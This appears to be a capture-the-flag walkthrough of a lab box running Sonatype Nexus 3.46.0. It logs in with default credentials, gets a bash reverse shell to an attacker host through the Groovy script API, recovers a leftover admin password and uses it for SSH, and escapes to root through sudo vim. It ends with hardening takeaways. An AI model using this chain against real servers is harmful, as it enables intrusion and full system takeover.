Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.97 -oN nexus.nmap
# Key open ports:
# 22/tcp open ssh OpenSSH 9.6p1
# 8081/tcp open http Sonatype Nexus Repository Manager (Nexus 3.46.0)
# 9000/tcp open http Nexus Docker Registry (unauthenticated)
Nexus Web Interface
Browsing to port 8081 presents the Nexus Repository Manager UI. The banner confirms version 3.46.0. Default credentials admin / admin123 are accepted without challenge — the setup wizard was never completed, leaving the out-of-box configuration intact.
curl -su admin:admin123 http://10.10.11.97:8081/service/rest/v1/status/writable
# {"edition":"OSS","version":"3.46.0"} ← authenticated, OSS edition
Once authenticated, navigate to Administration → System → Tasks → Groovy Script — or directly access the REST endpoint. Nexus exposes a privileged Groovy script execution API intended for automation that runs with full JVM access, including Runtime.exec().
Foothold — Nexus Groovy Script Console
Creating and Running a Script via REST API
The Nexus REST API at /service/rest/v1/script accepts arbitrary Groovy code and executes it synchronously on the server. Two requests are needed: one to register the script, one to run it.
# Register the script
curl -su admin:admin123 \
-X POST http://10.10.11.97:8081/service/rest/v1/script \
-H 'Content-Type: application/json' \
-d '{"name":"rce","type":"groovy","content":"[\"bash\",\"-c\",\"bash -i >& /dev/tcp/10.10.14.5/4444 0>&1\"].execute()"}'
# Start listener on attacker machine
nc -lvnp 4444 &
# Execute the script
curl -su admin:admin123 \
-X POST http://10.10.11.97:8081/service/rest/v1/script/rce/run \
-H 'Content-Type: text/plain'
# Reverse shell connects:
# nexus@nexus:~$ id
# uid=999(nexus) gid=999(nexus) groups=999(nexus)
Stabilise the Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
User — Credential Discovery
Nexus Data Directory
Nexus stores all persistent state under /opt/sonatype-work/nexus3/. During first-boot setup, if the admin password is set via the web UI, Nexus writes it to admin.password in the data root before removing the file on first login. A misconfiguration in this instance left the file intact:
find /opt/sonatype-work/nexus3 -name "admin.password" 2>/dev/null
# /opt/sonatype-work/nexus3/admin.password
cat /opt/sonatype-work/nexus3/admin.password
# N3xusAdm1n2026!
Checking /etc/passwd for local user accounts with login shells reveals a marcus user. Password spray across SSH with the recovered credential succeeds:
ssh [email protected]
# Password: N3xusAdm1n2026!
#
# marcus@nexus:~$ cat user.txt
# 4a7f31... ← user flag
Privilege Escalation — Sudo Vim Escape
Enumerating Sudo Policy
sudo -l
# Matching Defaults entries for marcus on nexus:
# env_reset, mail_badpass, secure_path=...
#
# User marcus may run the following commands on nexus:
# (ALL) NOPASSWD: /usr/bin/vim /var/log/nexus/*.log
The policy intends to let Marcus inspect Nexus log files with vim without a password. The wildcard *.log is evaluated by the shell before sudo sees it, meaning it expands to whichever .log files exist. But the restriction is on the binary — not on what vim does once running.
Escaping to a Root Shell via Vim
Vim's :shell command drops to an interactive shell inheriting the process's effective UID. Any file matching the glob is sufficient to trigger the sudo policy; the log file content is irrelevant.
sudo /usr/bin/vim /var/log/nexus/request.log
Inside vim, escape to the shell:
# In vim command mode:
:set shell=/bin/bash
:shell
# Result:
# root@nexus:/var/log/nexus# id
# uid=0(root) gid=0(root) groups=0(root)
# root@nexus:/var/log/nexus# cat /root/root.txt
# 9b2c0e... ← root flag
Alternative — Vim :! Escape
For environments where :shell is restricted, :!/bin/bash achieves the same result by spawning bash as a child of the vim process, which already holds root effective privileges.
# Also works:
# :!/bin/bash -p ← -p preserves effective UID in bash
Key Takeaways
- Default credentials on internal services are the same as no credentials. Nexus ships with a first-boot setup wizard specifically because the default credentials are publicly known. Automating infrastructure provisioning without completing or forcing that wizard leaves the admin console open to anyone on the network. Credential configuration must be part of the provisioning pipeline, not a manual post-deployment step.
- The Groovy script execution API is a privileged internal feature, not a user-facing one. Nexus's script API was originally enabled by default and has been restricted in later versions. Older deployments may still have it enabled with no additional access control beyond the Nexus login. The API gives full JVM access — treat it with the same severity as an JNDI injection or an unconstrained Java agent.
-
Sudo policies that allow editors are root-equivalent.
Vim, less, man, python, perl, find, tee, and dozens of other common tools provide trivial shell escapes. GTFOBins documents the escape vector for each. A sudo policy that permits any of these tools unconditionally grants root. The correct pattern for log inspection is a read-only pager like
cator a purpose-built log viewer, never an interactive editor. -
Credentials persist in unexpected locations after configuration.
The
admin.passwordfile is documented in the Nexus installation guide as a temporary file that is deleted after first login. A deployment that skips the first-login wizard step leaves it behind indefinitely. Data directories should be audited for sensitive files as part of security hardening, particularly files created by the installer.